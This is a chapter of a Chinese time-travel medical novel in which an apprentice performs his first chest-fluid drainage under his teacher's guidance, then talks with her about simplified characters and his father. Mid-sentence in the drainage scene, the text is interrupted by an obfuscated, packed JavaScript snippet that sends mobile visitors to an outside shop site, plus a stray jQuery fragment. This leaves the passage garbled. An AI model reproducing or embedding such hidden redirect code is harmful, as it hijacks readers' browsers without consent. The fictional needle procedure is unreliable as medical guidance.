张玄在济世堂待了一年多。
他还是那张圆脸,还是那双黑亮的眼睛,还是一开口就停不下来的老毛病。可天天和他在一起的顾湘能感觉到,有什么东西在悄悄变硬、变沉——就像一棵树,地面上看不出高了多少,地下的根却扎深了。
他十五岁了。
不再是那个叽叽喳喳的少年,而是一个沉稳了许多的青年。说“沉稳”,倒不是说他变安静了——他的话还是多,多得有时候顾湘想把他的嘴缝上。可话的内容变了。
以前是问“为什么”。
“师娘,为什么伤口会化脓?”“师娘,为什么发烧要吃柴胡?”“师娘,为什么人的血是红的?”问得顾湘头疼,问得华佗都偶尔露出“这孩子怎么还没问完”的表情。
现在是问“怎么办”。
“师娘,这个病人的咳嗽,我听了他的肺部,右边比左边声音低。是不是肺里有积水?”
说这话的时候,张玄正蹲在诊室的地上,手里捏着顾湘自制的“听筒”——一根空心的细竹管,约莫一尺长,一端打磨成喇叭口,可以扣在病人胸口;另一端削得光滑圆润,正好贴住耳朵。这东西简陋得不像话,可张玄用得比什么都金贵,每次用完都要用盐水擦洗,晾干了收进布套里,生怕磕着碰着。
今天是初秋。
诊室的门大敞着,风从院子里灌进来,带着晒干的草药味——川芎、白芷、薄荷,混在一起,清凉中透着一丝苦。病人是个五十多岁的男人,坐在矮凳上,上身赤裸,露出瘦削的脊背。他的皮肤是暗黄色的,肋骨的轮廓像枯枝一样突出来,每一次呼吸都牵动着肩胛骨上下滑动。他已经咳了两个月,近来胸闷得厉害,走几步路就要停下来喘气。
张玄跪在病人身后,一只手扶着病人的肩膀,另一只手把竹听筒贴在病人背部。他的动作很轻,像怕弄疼病人似的。听筒在背部缓缓移动,从左到右,从上到下,每一寸都没有遗漏。
顾湘站在门口,看着他的背影。
她注意到张玄的眉头微微皱了起来——不是困惑的皱,而是判断的皱。他在做鉴别诊断。这让她想起医学院教授说过的话:一个好医生,耳朵比嘴巴有用。
张玄把听筒从病人背部拿开,转过身看着顾湘。
“师娘,你听一下。右边肺的下半部分,声音明显比左边闷。左边是清的,右边像隔着一层布。”
他站起来,把听筒递给顾湘。顾湘注意到他递听筒的时候手很稳——一年前,他递什么东西都是递到一半就开始晃,生怕别人不接似的。
顾湘接过听筒,贴在病人背部,闭上了眼睛。
呼吸音。右肺下叶,确实有浊音区。不是完全听不到呼吸音,而是声音发闷、发钝,像隔着一层厚布在听。吸气的时候,有一种细微的、像用手指在湿陶罐上摩擦的声音——那是积液在呼吸运动中被搅动的声音。
她睁开眼睛,把听筒收好。
“你说得对。右肺下叶有明显的浊音区,很可能是胸腔积液。”她看着张玄,“你打算怎么治?”
张玄把听筒塞进腰间的布套里,蹲下来,两只手搭在膝盖上,开始想。他的嘴唇微微翕动,像是在自言自语。这是他的习惯——想问题的时候嘴里会念念有词,声音小到只有自己能听见。
顾湘没有催他。
诊室里安静了一会儿。病人不安地动了动,转头看看张玄,又看看顾湘,想问什么又不敢问。
张玄忽然开口了。
“如果积液不多,让身体自己吸收。”他说,语速比平时慢,每个字都像是从脑子里挖出来的,“如果多,就要抽出来。”
“怎么抽?”
张玄的手指在地上画了个圈。
“用……用针管?”
顾湘摇了摇头:“我们没有针管。但有一个古老的方法——胸腔穿刺。用粗银针从肋骨之间刺入胸腔,把积液引流出来。”
张玄的手指停住了。
他抬起头,眼睛瞪大了,瞳孔里映着从窗口照进来的秋日阳光。顾湘看见他的喉结上下动了一下——他在咽口水。
“那不会扎到肺吗?”他的声音比刚才高了一点。
“会。所以位置要准,深度要准。偏上一点点,扎到肋骨下缘的神经血管束,病人会大出血;偏下一点点,扎穿膈肌,进入腹腔,引起腹膜炎;扎深了,针尖刺入肺组织,引起气胸,病人会当场喘不上气。”
顾湘说这些的时候语气很平静,就像在说今天吃什么饭一样平常。可她每说一句,张玄的脸色就白一分。说到“气胸”的时候,张玄的嘴唇已经没什么血色了。
病人听得脸都绿了,下意识地往后缩了一下:“两位先生,要不……要不我吃点药算了?”
张玄深吸一口气。
他站起来,走到病人身后,把手放在病人背上,摸了摸肋骨的走向。顾湘看着他的手指——从左到右数肋骨,第二肋、第三肋、第四肋……手指停在第七肋的位置,然后往下挪了两指,到第九肋间隙。
“师娘,是这个位置吗?”
他的声音在发紧。不是害怕,是紧张——一种知道自己在做什么、也知道做错了会有什么后果的紧张。
“差不多。再往下一指。”
张玄往下移了一指。
他的手指稳稳地按在那个点上,没有再移动。
“扎。”顾湘说。
张玄的手抖了一下。
只有一下。
他从托盘里取出一根粗银针——比平时针灸用的针粗三倍,针身有七寸长,在午后的光线里泛着冷冽的白光。这是华佗特意打制的,专门用于胸腔穿刺,针尖磨成了三棱形,便于刺穿胸壁组织,又不至于太锋利而伤及内脏。
张玄把银针浸在酒里消毒,然后用一块干净的麻布擦干。他的手很稳,但顾湘注意到他的呼吸变快了——不是慌乱,是肾上腺素在分泌。一个即将做第一次胸腔穿刺的少年,身体在自动进入高度警觉的状态。
张玄左手按在第九肋间隙的上缘——避开肋骨下缘的神经血管——右手持针,针尖垂直对准皮肤。他停了一下,闭上眼睛,在脑子里把整个流程过了一遍。这是他跟华佗学的习惯——动手之前,先在脑子里做一遍。
睁开眼睛。
下针。
针尖刺破皮肤,张玄感觉到手上传来细微的阻力变化——皮肤、皮下脂肪、肌肉、肋间肌。每一层的手感都不一样。皮肤有韧性,皮下脂肪滑而软,肌肉有纤维感,肋间肌薄而紧。他在等一个感觉——突破肋间肌之后,针尖会进入一个空腔,阻力会突然消失。
张玄的手立刻停住。他拔出针芯。
淡黄色的液体顺着针管缓缓流出,在午后的阳光下闪着琥珀色的光。一滴,两滴,三滴——先是一滴一滴地渗,然后变成一条细线,沿着针身往下淌,滴进地上的陶盆里,发出细微的、像雨打芭蕉的声音。
“成功了!”
张玄的声音有点发抖,尾音上扬,像一个孩子在过年时放响了第一枚炮仗。他的脸上绽开一个巨大的笑容,露出两颗小虎牙,眼睛弯成了月牙。
“还没完。”顾湘的声音从身后传来,平静但不容置疑,“放慢一点。太快了病人会受不了。”
张玄的笑容收了一半。他深吸一口气,把注意力重新集中到针管上。
液体流出的速度太快了——胸腔内的负压被迅速破坏,膈肌上抬,纵隔摆动,病人会感到胸闷、心悸,甚至晕厥。他用手捏住针管的外口,控制着引流的速度。
一滴,等三息,再一滴。
像在数珍珠。
病人的呼吸渐渐平稳了,紧抓膝盖的手也松开了。他长长地出了一口气,说了一句:“胸口没那么闷了。”
液体从淡黄色变成了清亮色,一共大约两百毫升,刚好盖住陶盆的底部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644553|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
张玄拔出银针,用碘酒——顾湘用硫磺和酒石配制的简易消毒液——在针孔上抹了一下,然后贴上一小块干净的麻布。
“师娘,我做到了。”他说。
“做到了。”顾湘拍了拍他的肩膀,感觉到那肩膀比一年前宽了不少,“你做到了。”
张玄站起来,转向那个病人,认认真真地说:“老人家,回去注意休息,不要劳累。过几天再来看看,如果又有胸闷的感觉,随时来。”
张玄的进步不止在医术上。
这天下午,病人散了,黄婆婆去河边洗纱布,华佗在后院整理药材。诊室里只有顾湘和张玄两个人。张玄坐在案几前,面前摊着一张纸,手里拿着炭笔,正在写什么。
顾湘走过去一看——他在默写《妇人婴儿病篇》的目录。
字迹工整了很多。一年前他刚来的时候,写的字像鸡爪爬的,横不平竖不直,“一二三四”能写成“一=三冂”。顾湘气得想打他的手心,可忍住了。她教他写简体字。
一开始张玄很不习惯。“师娘,这个字少了好几笔,这还是字吗?”顾湘把“医”字的繁体“醫”写在旁边,把简体“医”写在下面,说:“你看,上面这个要写十七画,下面这个只要七画。你用哪个?”
张玄想了想,说:“下面这个。”
“为什么?”
“省时间。”
“那就用下面这个。”
他一开始写得歪歪扭扭,练了半个月就顺手了。后来他发现简体字确实省时省力,就主动用了。写方子用简体字,记笔记用简体字,连给父亲写信都用简体字。
“师娘,你这个字,比我们写的字好写。”他抬起头看着顾湘。
“那你回去教你父亲。”
张玄咧嘴笑了:“我父亲肯定不会写。他说,字是圣贤传下来的,不能改。上次我给他写信,用了师娘教的字,他回信骂了我一顿,说我‘数典忘祖’。”
顾湘也笑了。她想起自己那个时代,简化字刚推行的时候,也有很多人反对,说“親不見,愛無心”。可时间会证明一切——字只是工具,能让人看懂、好用、省时间,就够了。
“张玄,”顾湘在他对面坐下来,“你父亲是个了不起的人。可不一定要所有的事,都听他的。”
张玄放下炭笔,看着顾湘。
他的表情认真了起来,不像一个十五岁的少年,倒像一个正在思考人生的成年人。
“我知道。”他说,“我父亲有他的路,我有我的路。他写《伤寒杂病论》,我跟师娘学外科、学无菌、学人体解剖。”他停顿了一下,“等我都学会了,我就回去找他,把我学的教给他。他不一定要用,可他应该知道。”
窗外的阳光照进来,落在他脸上。少年的脸上还有未褪尽的婴儿肥,下巴的线条已经开始变得硬朗。
她忽然想起自己穿越前,医学院的入学典礼上,老校长说过一句话:“你们今天走进这扇门,是为了将来走出这扇门的时候,能让这个世界好一点点。”
张玄没有走进过医学院的门。可他已经走在了那条路上。
“师娘,”张玄忽然问,“你以前的学生,都像我这个样子吗?”
顾湘愣了一下。她穿越前确实带过实习医生——大三、大四的医学生,穿着白大褂跟在她身后查房,战战兢兢地问病史,笨手笨脚地写病历。她想了想,笑了。
“不。你比他们好。”
张玄的脸红了。
不是因为不好意思,是高兴。
那天晚上,顾湘在日记里写道:
“张玄今天做了第一次胸腔穿刺。成功了。他在我面前蹲在地上捂着脸笑,笑得眼泪都出来了。我看到了十五岁那年,自己第一次独立完成腹腔穿刺时的样子。时间不同,空间不同,可那种感觉是一样的——从知道到做到,中间隔着一整个世界的距离。他跨过来了。”